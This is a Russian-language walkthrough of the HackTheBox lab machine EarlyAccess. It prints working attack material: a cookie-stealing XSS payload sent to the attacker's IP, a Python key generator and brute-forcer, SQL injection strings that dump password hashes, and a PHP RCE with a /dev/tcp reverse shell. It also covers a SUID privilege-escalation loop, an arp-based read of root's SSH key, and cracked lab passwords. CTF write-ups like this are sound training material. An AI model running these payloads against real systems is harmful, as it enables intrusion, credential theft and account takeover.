Приветствую!
Продолжаем проходить лаборатории и CTF с сайта HackTheBox! В этой лаборатории мы разберём машину EarlyAccess (Linux - Web).Сегодня мы применим уязвимости такие как SQLi, XSS и RCE, а так же рассмотрим повышение привилегий через Docker! Начинаем)
Данные:
Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt.Основная рабочая машина: Kali Linux 2021.4
IP адрес удаленной машины - 10.10.11.110
IP адрес основной машины - 10.10.14.66
Начальная разведка и сканирование портов:
Запустим Nmap для сканирования нашего хоста:nmap -sC -sV 10.10.11.110
Из его вывода мы видим интересующие нас порты: вебчик (80/http, 443/https) и 22/ssh
Перед переходом на сайт, добавим доменное имя earlyaccess.htb в файл хостов /etc/hosts:
echo '10.10.11.110 earlyaccess.htb' >> /etc/hosts
XSS уязвимость в сообщении:
Далее сам вход на сайт...И мы видим вот такую домашнюю страницу:
Здесь нам предлагают войти в аккаунт или зарегистрироваться, для начала давайте попробуем зарегистрироваться:
Вводим все свои данные и нажимаем на кнопку Register. Нас перекидывает в домашнюю страницу пользователя:
Итак... у нас есть почта администрации - admin@earlyaccess.htb
Просматривая ссылки сайта, мы можем заметить форму контактов - Messaging и отправку репортов в ней:
Давайте попробуем выявить здесь XSS уязвимость. Укажем в качестве параметров строку:
<h1>XSS TEST<h1>
Но как мы видим наша уязвимость не отработала, но мы можем перехватить наш запрос с помощью BurpSuite и разобрать его!
Запустим у себя Intercept и через FoxyProxy перехватим трафик:
Здесь мы видим что наш репорт (с нашим XSS) отправляется на почту admin@earlyaccess.htb, давайте заменим её на нашу и отправим наш пэйлоад себе:
Теперь, после отправки нашего пэйлоада себе же, проверим почту:
Казалось бы что ничего не сработало, но посмотрев внимательней, мы можем заметить что отображается имя пользователя который и отправил нам это сообщение!
Это уже и есть та самая потенциальная уязвимость, попробуем изменить наше имя на пэйлоад:
<h1>QUIETMOTH-XSS</h1>
После удачной смены нашего ника, попробуем отправить то же самое письмо ещё раз:
Перейдем в нашу почту:
И видим заветную XSS уязвимость в нашем нике, теперь для продвижения наших привилегий на сайте, попробуем использовать XSS Cookie-Stealer на JS:
<script>document.location="http://10.10.14.66/?c="+document.cookie;</script>
Если вкратце, с помощью этого стиллера куки, мы обращаемся от аккаунта администратора с его куки к нашему серверу.
Теперь вставим этот стиллер в наш ник и напишем администратору предварительно открыв свой python3 HTTPserver на порту 80:
python3 -m http.server 80
Далее ждём пока админ прочитает наше сообщение, которое даст нам его куки:
Иии... Ура! У нас есть доступ к админу, но это только начало)
Учетная запись админа и поддомены:
Теперь нам осталось зайти в аккаунт админа и проверить его домашнюю страницу на функционал.Итак, войдя на страницу, видим что мы admin, а также страницы: Admin, Dev, Game.
Перейдем на вкладку Dev, но сперва нужно будет добавить dev.earlyaccess.htb в /etc/hosts, а также добавим game.earlyaccess.htb туда же:
И снова нас встречает форма входа в аккаунт...
Перейдем в директорию админской панели.
Давайте перейдем на страницу загрузки бэкапа:
Стоит отметить, что эта страница сообщает нам, про использование ручной проверки, мы должны
предоставить magic_num приложению. Скачиваем Key-validator и продолжаем энумерацию кода.
Запаситесь сладостями, так как впереди сложная работа
И вытащив единственный файл из бэкапа под названием - validate.py, мы можем написать скрипт который будет создавать ключ, который и обойдет эту валидацию.
Key Validator:
Начнём разборку данного кода с самого верха:Первые строки кода состоят из импорта.
Библиотека sys позволяет скрипту взаимодействовать с системой, а функция match из библиотеки re обеспечивает возможность поиска шаблонов регулярных выражений.
Класс Key содержит три переменные: key, magic_value и magic_num.
Комментарий, сообщает нам, что некоторые из этих переменных необходимо синхронизировать с API.
А ещё можем заметить что magic_num изменяется каждые 30 минут, а вот magic_value наоборот - константа.
Чтобы создать объект из этого класса, вы должны предоставить ключ и magic_num.
Если нет то указано значение magic_num, по умолчанию оно равно 346.
Функции класса Key:
Первая функция info() - возвращает информацию о скрипте.
Вторая valid_format - проверяет правильность формата предоставленного ключа.
Ключ должен быть в следующего формата: AAAAA-BBBBB-CCCC1-DDDDD-1234
Третья функция calc_cs - берет полученный ключ и разбивает его на отдельные группы, которые разделяются знаком - .
Затем значения каждого символа всех групп, кроме символов в последней группе - суммируются.
Функции проверки:
Далее у нас есть пять функций: g1_valid, g2_valid, g3_valid, g4_valid и cs_valid. Судя по их названиям кажется, что эти функции используются при проверке каждой группы отдельно, а это означает что если мы перестроим каждую функцию, мы сможем создать подходящий ключ.
Первая функция проверки - g1_valid <- она стартует с первой группы ключа.
Тогда она проходит по каждым первым 3'ем символам и сдвигает влево значение каждого на равный index+1 по модулю 256.
Далее она наконец подвергается XOR'у с исходным символом.
Затем она проверяет, соответствует ли результат XOR - трем значениям.
Что касается последних двух символов - она проверяет, являются ли они целыми числами.
Наконец, она проверяет, соответствует ли длина группы длине набора, произведенного из этой группы.
Эта окончательная проверка означает, что в первой группе нет повторов.
Вторая функция попроще
Вторая функция g2_valid <- начинается со второй группы ключа.
Затем вторая группа разбивается на две части, называемые p1 и p2.
Первая часть, содержит все четные индексы, а вторая часть содержит все нечетные индексы.
Тогда все значения четного и нечетного индексов суммируются и сравниваются.
Если суммы совпадают, группа действительна.
Третья фунция g3_valid <- начинается с третьей группы ключа.
Видим TODO комментарий, в нём говорится о синхронизации magic_num с API.
После получения третьей группы - функция проверяет, совпадают ли первые два символа со значением magic_value.
Затем она проверяет, сумму всех значений (включая первые два) третьей группы равна magic_num.
Четвертая функция g4_valid, она начинается с четвертой группы ключа.
Она XOR'ит каждый символ четвертой группы с соответствующим ему символом.
Из первой группы он сверяет результат с некоторыми значениями.
Ну и заключительная функция cs_valid.
Она проверяет, соответствует ли функция результату calc_cs, которая представляет собой сумму всех значений из предыдущей группы.
Проверка:
Функция проверки гарантирует, что все проверки действительны для полученного ключа.
Заключительная функция Main:
Она проверяет, что скрипт был вызван с аргументом.
Если нет, то показывает info скрипта.
В другом случае, если она принимает аргумент, создает валидатор, используя класс Key.
И наконец, она вызывает функцию Key.check и даёт нам результат проверки.
Фух, теперь можно выдохнуть, но нам ещё нужно составить генератор этих ключей, так что за работу)
Генерация всех групп и ключей:
Для начала нам нужно составить правильный ключ для группы 1 - g1_valid.Создадим скрипт который подберет этот ключ:
Python:
#!/usr/bin/env python3
import string
from random import randrange
import sys
def generate_01() -> str:
g1 = []
target = [221,81,145]
while len(g1) != 3:
g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])
g1.append(str(randrange(0,9)))
g1.append(str(randrange(0,9)))
return "".join(g1)
print(generate_01())
Наша стратегия состоит в вычислении одного и того же шага XOR для всех заглавных букв (мы используем только прописные буквы, потому что формат проверки допускает только их).
Далее мы сохраняем их и убеждаемся что результат операции соответствует результату в g1_valid.
И наконец, добавляем два случайных целых числа в качестве последних двух символов.
Результатом выполнения этого скрипта является -
KEY07
Из этого мы делаем вывод, что первыми тремя символами этого игрового ключа являются ->
KEY
Составим скрипт, но уже для второго ключа:
Python:
def generate_02() -> str:
g2 = []
values = string.ascii_uppercase+string.digits
for x in values:
for y in values:
if ord(x)*3 == ord(y)*2:
g2.append((x+y) * 2 + x)
return g2[randrange(0,len(g2))] # Получаем рандомный ключ
Вычисление становится ещё проще, ведь никакой проверки ключа здесь нет,
Так как во второй группе пять символов, три из них расположены по четным индексам и два по нечетным, но нужно включить ещё и цифры.
Уравнение 3*even = 2*odd - наглядно демонстрирует проверку второй функции.
Итак, теперь мы можем обьеденить наш код из двух групп и получить ключ из них:
Python:
#!/usr/bin/env python3
import string
from random import randrange
import sys
def generate_g1() -> str:
g1 = []
target = [221,81,145]
while len(g1) != 3:
g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])
g1.append(str(randrange(0,9)))
g1.append(str(randrange(0,9)))
return "".join(g1)
def generate_g2() -> str:
g2 = []
values = string.ascii_uppercase+string.digits
for x in values:
for y in values:
if ord(x)*3 == ord(y)*2:
g2.append((x+y) * 2 + x)
return g2[randrange(0,len(g2))] # Получаем рандомный ключ
print(f"{generate_g1()}-{generate_g2()}")
Получаем вот такой результат ->
KEY57-6Q6Q6
Далее нужно составить скрипт для третьей группы.
Здесь нам нужно найти значение всевозможных значений magic_num.
Функция valid_format сообщает нам, что правильный формат для этой группы -
[A-Z]{4}[0-9]
, но поскольку мы знаем, что первые два символа всегда XP, формат упрощается -> XP[A-Z][A-Z][0-9]
.Это значит, что мы получам наименьшее магическое число с XPAA0 и самое большое с XPZZ9.
Вычислим этот диапазон:
У нас есть 60 возможных ключей (включая 346, следовательно и +1), которые мы должны взломать с помощью API.
Описывать подробно составление этого скрипта я не буду, так как это займет у вас кучу времени)
Python:
def generate_g3(magic_num:int, magic_value:str="XP") -> str:
remain = magic_num - sum(bytearray(magic_value.encode()))
for num in range(ord("0"), ord("9")+1):
value = remain - num
if value % 2 == 0:
half = int(value / 2)
if half >= ord("A") and half <= ord("Z"):
return f"XP{2*chr(half)}{chr(num)}"
if (value - 65) >= ord("A") and (value - 65) <= ord("Z"):
return f"XPA{chr(value-65)}{chr(num)}"
Добавим generate_g3 в наш скрипт.
Теперь изменим нашу main функцию в соответствии с нашим кодом, дабы создать первые три группы для всех возможных значений magic_num:
Python:
if __name__ == "__main__":
keys = []
for magic_num in range(sum(bytearray(b"XPAA0")), sum(bytearray(b"XPZZ9"))+1):
key = f"{generate_g1()}-{generate_g2()}-{generate_g3(magic_num)}"
keys.append(key)
print(f"[+] Generated {len(keys)} keys:")
print("\n".join(keys))
Теперь суммируем все наши писания:
Python:
#!/usr/bin/env python3
import string
from random import randrange
import sys
def generate_g1() -> str:
g1 = []
target = [221,81,145]
while len(g1) != 3:
g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])
g1.append(str(randrange(0,9)))
g1.append(str(randrange(0,9)))
return "".join(g1)
def generate_g2() -> str:
g2 = []
values = string.ascii_uppercase+string.digits
for x in values:
for y in values:
if ord(x)*3 == ord(y)*2:
g2.append((x+y) * 2 + x)
return g2[randrange(0,len(g2))] # Получаем рандомный ключ
def generate_g3(magic_num:int, magic_value:str="XP") -> str:
remain = magic_num - sum(bytearray(magic_value.encode()))
for num in range(ord("0"), ord("9")+1):
value = remain - num
if value % 2 == 0:
half = int(value / 2)
if half >= ord("A") and half <= ord("Z"):
return f"XP{2*chr(half)}{chr(num)}"
if (value - 65) >= ord("A") and (value - 65) <= ord("Z"):
return f"XPA{chr(value-65)}{chr(num)}"
if __name__ == "__main__":
keys = []
for magic_num in range(sum(bytearray(b"XPAA0")), sum(bytearray(b"XPZZ9"))+1):
key = f"{generate_g1()}-{generate_g2()}-{generate_g3(magic_num)}"
keys.append(key)
print(f"[+] Generated {len(keys)} keys:")
print("\n".join(keys))
Результат выполнения этого скрипта будет вывод 60 ключей:
3 группы готовы, далее нужно сделать ещё две, приступим за четвертую:
Здесь нам нужно выполнить операции XOR для каждого символа из первой группы, на примере
A ^ B = C -> A ^ C = B
.
Python:
def generate_g4(g1:str) -> str:
return "".join([chr(i^ord(g)) for g, i in zip(list(g1), [12, 4, 20, 117, 0])])
И последняя функция - cs_valid.
Мы можем просто повторно использовать функцию calc_cs, чтобы получить наш результат:
Python:
def calc_cs(key) -> int:
gs = key.split('-')
return sum([sum(bytearray(g.encode())) for g in gs])
Всё! Далее создадим обьединяющую функцию для всех частей групп или только правильной (если конечно есть magic_num).
А также нужно будет переделать функцию main:
Python:
#!/usr/bin/env python3
import string
from random import randrange
import sys
def generate_g1() -> str:
g1 = []
target = [221,81,145]
while len(g1) != 3:
g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])
g1.append(str(randrange(0,9)))
g1.append(str(randrange(0,9)))
return "".join(g1)
def generate_g2() -> str:
g2 = []
values = string.ascii_uppercase+string.digits
for x in values:
for y in values:
if ord(x)*3 == ord(y)*2:
g2.append((x+y) * 2 + x)
return g2[randrange(0,len(g2))] # Получаем рандомный ключ
def generate_g3(magic_num:int, magic_value:str="XP") -> str:
remain = magic_num - sum(bytearray(magic_value.encode()))
for num in range(ord("0"), ord("9")+1):
value = remain - num
if value % 2 == 0:
half = int(value / 2)
if half >= ord("A") and half <= ord("Z"):
return f"XP{2*chr(half)}{chr(num)}"
if (value - 65) >= ord("A") and (value - 65) <= ord("Z"):
return f"XPA{chr(value-65)}{chr(num)}"
def generate_g4(g1:str) -> str:
return "".join([chr(i^ord(g)) for g, i in zip(list(g1), [12, 4, 20, 117, 0])])
def calc_cs(key) -> int:
gs = key.split('-')
return sum([sum(bytearray(g.encode())) for g in gs])
def gen_key(magic_num:int=-1) -> list[str]:
keys = []
if magic_num == -1:
# Calculate all keys
for magic_num in range(sum(bytearray(b"XPAA0")), sum(bytearray(b"XPZZ9"))+1):
g1 = generate_g1()
key = f"{g1}-{generate_g2()}-{generate_g3(magic_num)}-{generate_g4(g1)}"
key += f"-{calc_cs(key)}"
keys.append(key)
print(f"[+] Generated {len(keys)} keys!")
return keys
else:
# Calculate for specific magic_num
g1 = generate_g1()
key = f"{g1}-{generate_g2()}-{generate_g3(magic_num)}-{generate_g4(g1)}"
key += f"-{calc_cs(key)}"
keys.append(key)
return keys
if __name__ == "__main__":
if len(sys.argv) > 1:
print(f"[*] Calculating key for magic_num {sys.argv[1]}...")
print("".join(gen_key(int(sys.argv[1]))))
else:
print("[*] Calculating all possible keys...")
keys = gen_key()
print("\n".join(keys))
Простая генерация. 60 ключей.
Генерация одного ключа. Magic_num=346.
Итак. Теперь нам нужно сделать брутфорс каждого ключа к этому API.
Давайте напишем его с помощью использования нескольких библиотек и обьеденим это всё в один скрипт:
Python:
#!/usr/bin/env python3
import argparse
import urllib3
import requests
import string
from random import randrange
import sys
from time import sleep, time
from bs4 import BeautifulSoup
urllib3.disable_warnings() # Убираем ssl ошибки
url = "https://earlyaccess.htb" # Наш url сайта
proxies = {}
def generate_g1() -> str:
g1 = []
target = [221,81,145]
while len(g1) != 3:
g1.append({(ord(v)<<len(g1)+1)%256^ord(v):v for v in string.ascii_uppercase}[target[len(g1)]])
g1.append(str(randrange(0,9)))
g1.append(str(randrange(0,9)))
return "".join(g1)
def generate_g2() -> str:
g2 = []
values = string.ascii_uppercase+string.digits
for x in values:
for y in values:
if ord(x)*3 == ord(y)*2:
g2.append((x+y) * 2 + x)
return g2[randrange(0,len(g2))] # Получаем рандомный ключ
def generate_g3(magic_num:int, magic_value:str="XP") -> str:
remain = magic_num - sum(bytearray(magic_value.encode()))
for num in range(ord("0"), ord("9")+1):
value = remain - num
if value % 2 == 0:
half = int(value / 2)
if half >= ord("A") and half <= ord("Z"):
return f"XP{2*chr(half)}{chr(num)}"
if (value - 65) >= ord("A") and (value - 65) <= ord("Z"):
return f"XPA{chr(value-65)}{chr(num)}"
def generate_g4(g1:str) -> str:
return "".join([chr(i^ord(g)) for g, i in zip(list(g1), [12, 4, 20, 117, 0])])
def calc_cs(key) -> int:
gs = key.split('-')
return sum([sum(bytearray(g.encode())) for g in gs])
def gen_key(magic_num:int=-1) -> list[str]:
keys = []
if magic_num == -1:
# Calculate all keys
for magic_num in range(sum(bytearray(b"XPAA0")), sum(bytearray(b"XPZZ9"))+1):
g1 = generate_g1()
key = f"{g1}-{generate_g2()}-{generate_g3(magic_num)}-{generate_g4(g1)}"
key += f"-{calc_cs(key)}"
keys.append(key)
print(f"[+] Generated {len(keys)} keys!")
return keys
else:
# Calculate for specific magic_num
g1 = generate_g1()
key = f"{g1}-{generate_g2()}-{generate_g3(magic_num)}-{generate_g4(g1)}"
key += f"-{calc_cs(key)}"
keys.append(key)
return keys
def login(session:requests.Session, email:str, password:str) -> requests.Session:
"""
Использует `email` и `password` для входа в систему и возвращает действительный `session`, если вход был успешный
"""
res = session.get(f"{url}/login", proxies=proxies)
soup = BeautifulSoup(res.text, features='lxml')
token = soup.find('input',{'type':'hidden'}).attrs["value"]
data = {'_token':token,'email':email, 'password':password}
resp = session.post(f"{url}/login", proxies=proxies, data=data)
return "dashboard" in resp.url
# Далее давайте добавим функцию которая будет отправлять наш ключ и отвечать корректен он или нет.
def submit_key(session:requests.Session, key:str) -> bool:
"""
Использует `session` для отправки ключа и возвращает `True`, если ключ успешно
зарегистрировался в аккаунте
"""
res = session.get(f"{url}/key", proxies=proxies)
soup = BeautifulSoup(res.text, features='lxml')
token = soup.find('input',{'type':'hidden'}).attrs["value"]
data = {'_token':token, 'key':key}
resp = session.post(f"{url}/key/add", data=data, proxies=proxies)
soup = BeautifulSoup(resp.text, features='lxml')
out = soup.find('div',{'class':'toast-body'})
if out:
out = out.text
else:
return False
if "Game-key successfully added" in out or "Game-key is valid" in out:
return True
elif "Game-key is invalid" in out:
return False
elif "Too many requests" in out:
print(f"[!] Got blocked! Waiting 60 seconds and then retrying...")
sleep(60)
# Ждем каждые 60 секунд, если блокнуло
submit_key(session, key)
else:
print(f"[!] Unexpected result: {out}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Генератор ключей")
parser.add_argument("--email", help="Введите email вашего аккаунта", type=str)
parser.add_argument("--password", help="Введите пароль от вашего аккаунта", type=str)
parser.add_argument("-c", "--cookie", help="Введите куки", type=str)
parser.add_argument("-d", "--delay", help="Введите время ожидания запроса",
metavar="1", type=float)
parser.add_argument("-p", "--proxy", help="HTTP proxy",
metavar="http://127.0.0.1:8080", type=str)
parser.add_argument("-m", "--magic_num", help="Какой Magic Number вы хотите использовать", metavar="[346-406]", choices=range(346,405+1), type=int)
parser.add_argument("-l", "--local", help="Найти ключ", action='store_true')
args = parser.parse_args()
# Вызываем помощь если аргументы неправильны
if not any(vars(args).values()):
parser.print_help()
quit()
if args.local:
"""
Вычисли ключи
"""
if args.magic_num:
magic_num = args.magic_num
else:
magic_num = -1
keys = gen_key(magic_num)
print("\r\n".join(keys))
quit()
else:
"""
Вставь ключи на сайт
"""
if not (args.email and args.password) and not args.cookie:
parser.print_usage()
print("\nНе используется --local либо (--email and --password) или --cookie аргумент требуется!")
quit()
session = requests.Session()
session.verify = False
if args.proxy:
proxies = {'http':args.proxy, 'https':args.proxy}
if args.cookie:
session.cookies.set("earlyaccess_session",args.cookie,domain="earlyaccess.htb")
else:
email = args.email
password = args.password
if not login(session, email, password):
print(f"[-] Could not login as {email} with password: {password}!")
quit()
if not args.delay:
args.delay = 0.5
if args.magic_num:
magic_num = args.magic_num
else:
magic_num = -1
keys = gen_key(magic_num)
print(f"[*] Testing {len(keys)} possible keys!\r\n")
# Останавливаем время выполнения
start_time = time()
for index, key in enumerate(keys, start=1):
progress = index / len(keys) * 100
if progress < 10:
print(f"[{progress:0.2f}%] Trying key: {key}")
else:
print(f"[{progress:0.2f}%] Trying key: {key}")
if submit_key(session, key):
if args.cookie:
print(f"[+] Успешно зарегистрирован ключ: {key} для аккаунта с (cookie: {args.cookie}) - {index} запросы заняли время - {time() - start_time:0.2f} секунд!")
else:
print(f"[+] Успешно зарегистрирован ключ: {key} для аккаунта с (cookie: {args.cookie}) - {index} запросы заняли время - {time() - start_time:0.2f} секунд!")
print(f"[INFO] Magic_num в API это: {sum(bytearray(key.split('-')[2].encode()))}")
quit()
# Задержка ожидания в секундах между каждым запросом, чтобы не заблокировать сон (args.delay)
print(f"[-] Could not find valid key! Please retry...")
Запускаем его:
python3 key_gen01.py --email quietmoth1@postavlike.pj --password 'quietmoth1'
Иии... Ура! Мы получаем долгожданный валидный ключ! Пройдем дальше!
SQL-Injection в Scoreboard:
Теперь мы смогли пройти в game.earlyaccess.htb:Перейдем на вкладку Scoreboard, но никаких игроков там не найдем, давайте сыграем в змейку, после чего зайдем туда же:
А вот и ошибка MySQL, здесь есть sql-injection, теперь давайте попробуем поменять ники и эксплуатировать данную уязвимость!
Попробуем найти UNION based SQL-i. Поставим в имя
') UNION SELECT 1,2,3 -- -
Теперь зайдем в Scoreboard!
Есть! Теперь попррбуем найти учетные данные в базах!
Так как мы не знаем название нашей базы, попробуем найти её в information_schema.schemata.
Поставим себе ник:
') UNION SELECT 1,2,schema_name from information_schema.schemata -- -
Опять заходим в Scoreboard!
О да! Мы получили имя базы - db
Теперь выведем все таблицы этой базы.
В ник ставим:
') UNION SELECT 1,table_schema,table_name from information_schema.tables where table_schema='db' -- -
И среди таблиц замечаем таблицу users, давайте выведем её колонки:
') UNION SELECT 1,column_name,table_name from information_schema.columns where table_name='users' -- -
в ник!А вот теперь выведем содержимое этих колонок!
Вводим в ник
') UNION SELECT name,password,email from db.users -- -
И видим хэши всех паролей пользователей!
Но интересует нас тут только хэш админа, давайте воспользуемся JohnTheRipper и расшифруем его!
john --wordlist=/root/rockyou.txt hash.hash
И за считанные секунды находим его пароль: gameover
RCE в dev.earlyaccess.htb:
После получения пароля администратора, перейдем на поддомен dev.earlyaccess.htb:И сразу видим две вкладки: Hashing-Tools и File-Tools!
Перейдем в первую из них - Hashing-Tools.
Здесь нас встречает поле ввода пароля и его хэширование.
Попробовав передать ему свой пароль, он захэшировал его в MD5, хорошо, тогда попробуем найти что-нибудь интересное на вкладке File-Tools.
Здесь написано что UI ещё не готов.
Тогда затестим наш hashing-tools и проверим с помощью BurpSuite, какой запрос выполняется на стороне.
И мы видим в URL, что методом POST передаются в /actions/hash.php
Давайте попробуем перебрать эту директорию (/actions/) на другие интересные файлы:
dirsearch -e php,log,sql,txt,bak,tar,tar.gz,zip,rar,swp,gz,asp,aspx -t 50 -u http://dev.earlyaccess.htb/actions/
И среди запросов видим файл под названием - file.php.
Если мы перейдем на него, нам прилетит в ответ ошибка 500, тогда давайте переберем параметры для этого php файла!
ffuf -w /root/burp-parameter-names.txt -u 'http://dev.earlyaccess.htb/actions/file.php?FUZZ=test' -b 'PHPSESSID=a11619c6236186e53939d92901d032c6' -mc 500 -fw 3
И мы находим параметр filepath!
Попробуем использовать LFI уязвимость, чтобы прочитать /etc/passwd.
curl -b 'PHPSESSID=a11619c6236186e53939d92901d032c6' http://dev.earlyaccess.htb/actions/file.php?filepath=/etc/passwd
Но при запросе, нам выдает ответ, что из-за безопасности нельзя читать файлы в других директориях.
Хорошо, тогда прочитаем файл hash.php и посмотрим какой код хранится в нём.
curl -b 'PHPSESSID=a11619c6236186e53939d92901d032c6' http://dev.earlyaccess.htb/actions/file.php?filepath=hash.php
Но получаем ошибку на наш запрос!
Тогда давайте использовать php wrapper'ы для вывода в base64 содержимого файла.
curl -b 'PHPSESSID=a11619c6236186e53939d92901d032c6' http://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=hash.php
И получаем зашифрованный в base64 код файла hash.php.
Разшифровываем его в файл и внимательно читаем его.
Функция hash_pw принимает два аргумента: хеш-функцию и пароль. Также имеется заметка где разработчик говорит нам, что он не верит, что это хороший способ реализовать желаемую функциональность.
Глядя дальше в исходный код, мы можем увидеть, где вызывается эта функция.
Когда действие параметра настроено на проверку и если в запросе есть параметр debug, нам разрешено указывать любую хеш-функцию, которую мы хотим. Мы можем использовать это и получить RCE, установив хеш-функцию как system() и пароль как команду, которую мы хотим выполнять.
curl -b "PHPSESSID=2db0557468564212920c1722ef9082ae" -X POST http://dev.earlyaccess.htb/actions/hash.php -d "action=hash&password=id&hash_function=system&debug=true"
Есть! Мы получили RCE, теперь прокинем Back-Connect до себя:
curl -b "PHPSESSID=2db0557468564212920c1722ef9082ae" -X POST http://dev.earlyaccess.htb/actions/hash.php -d "action=hash&password=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.66/9999+0>%261"&hash_function=system&debug=true"
Отлично, у нас есть шелл! Теперь осмотримся на этом сервере.
Эх... Мы в докере Это конечно огорчает, но не сильно, пробуем найти ещё что-нибудь.
Перейдем в директорию пользователей - /home и попробуем найти интересное там.
Из интересного здесь пользователь www-adm.
Попробуем зайти на него с ранее полученым паролем - gameover.
Ура! Пароль подошёл, теперь посмотрим его домашнюю папку, и проверим на наличие кредов!
И в файле .wgetrc находим данные от пользователя api и паролем s3Cur3_API_PW!
Давайте проверим хост API.
nc api 80
И мы видим ip адрес этого API, теперь давайте просканируем открытые порты на этом ip.
Я буду использовать bash-скрипт:
Bash:
#!/bin/bash
HOST="api"
for PORT in $(seq 1 65535);
do
nc -z $HOST $PORT; # Connect to host foreach port
if [[ $? -eq 0 ]]; # Port open
then
echo "$HOST:$PORT is open!";
fi
done
Предварительно загрузив его на эту машину и просканировав эти порты, мы видим что порт 5000 у хоста api - открыт!
Далее, давайте обратимся к этому хосту:
wget -O- -q api:5000
И мы получаем ответ, где указана ссылка на /check_db, давайте посмотрим что в ней!
wget -O- -q api:5000/check_db
И среди огромного количества данных в этой базе данных, находим пользователя drew и его пароль - XeoNu86JTznxMCQuGHrGutF3Csq5
Пробуем подключиться к SSH к нему, и у нас всё получается!
Получаем флаг пользователя и продолжаем!
Горизонтальное повышение привилегий:
После длительного изучения этого сервера, я наткнулся на письмо в /var/mail/drew, а также у нас есть пользователь game-adm:Из письма мы видим пользователя game-tester и сервер game-server, про который говорится что он крашнулся.
Теперь перейдем в домашнюю папку drew и возьмем оттуда ssh ключ (id_rsa) он может понадобиться для подключения к этому пользователю.
cat ~/.ssh/id_rsa
Если мы введем - ip addr, то получим результат о том, что мы состоим в 3 разных сетях:
Получив наш id_rsa ключ давайте попробуем подключитсья к game-tester, но для начала, нам нужно узнать ip этого сервера:
Bash:
for j in $(seq 17 19); do for i in $(seq 2 254); do (nc -z 172.$j.0.$i 22 >/dev/null && echo "172.$j.0.$i" &); done; done
Мы узнали ip адрес этого игрового сервера, но при поиске интересной информации на сервере, я наткнулся на файл /opt/docker-entrypoint.d/node-server.sh:
Нам следует запомнить содержимое этого скрипта и поискать дальнейшие подсказки внутри контейнера, а пока давайте попробуем подключиться к этому ip по ssh, используя имя пользователя game-tester.
И мы заходим сюда без пароля!
Теперь просмотрев корневую директорию, мы можем заметить ту же директорию docker-entrypoint.d.
А в файле entrypoint.sh мы видим скрипт который запускает все файлы оттуда:
Итак, сюда мы пришли узнать какой веб-сервер здесь крутится, поэтому найдем его рабочий порт!
ss -lntup
Среди портов мы видим порт 9999, давайте воспользуемся curl и выведем содержимое страницы:
curl 127.0.0.1:9999
Хорошо, мы видим что у нас здесь висит сайт, давайте найдем его директорию.
Мы находим её в /usr/src/app, а также файл сервера - server.js
И среди кода мы видим цикл while с кругами, мы можем сломать этот сервер передав ему значение round = -1, тем самым сервер перезапустится и сможет выполнить файлы в docker-entrypoint.d.
Загрузим нашу команду бесконечным циклом while от пользователя drew:
while [ 1 -eq 1 ]; do echo 'chmod +s /bin/bash' > /opt/docker-entrypoint.d/shell.sh; chmod +x /opt/docker-entrypoint.d/shell.sh; sleep 1; done &
Далее после введения этого цикла, мы выполняем:
curl 172.19.0.2:9999/autoplay -d "rounds=-1"
И сервер перезагружается. Теперь перезайдем на game-tester и получаем root на docker'е:
/bin/bash -p
Далее просмотрев /etc/shadow, мы найдем hash от пользователя game-adm:
Давайте расшифруем его:
И мы получаем пароль: gamemaster
Повышение привилегий:
Теперь зайдем через su на пользователя game-adm и двигаемся дальше!Выполнив разведку через Linpeas, мы можем найти зависимости SUID в arp.
Дальше найдем arp в GTFOBins и выведем id_rsa рута:
LFILE=/root/.ssh/id_rsa
Сделаем локальную переменную LFILE равной ssh ключу рута.
/usr/sbin/arp -v -f "$LFILE"
И выведем её.
Вывод ключа конечно не очень красивый, но подретактировав его, мы получаем полноценный id_rsa файл!
И чтобы не томить вас этим не очень веселым редактированием ключа, давайте просто выведем флаг рута!
Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду
Последнее редактирование: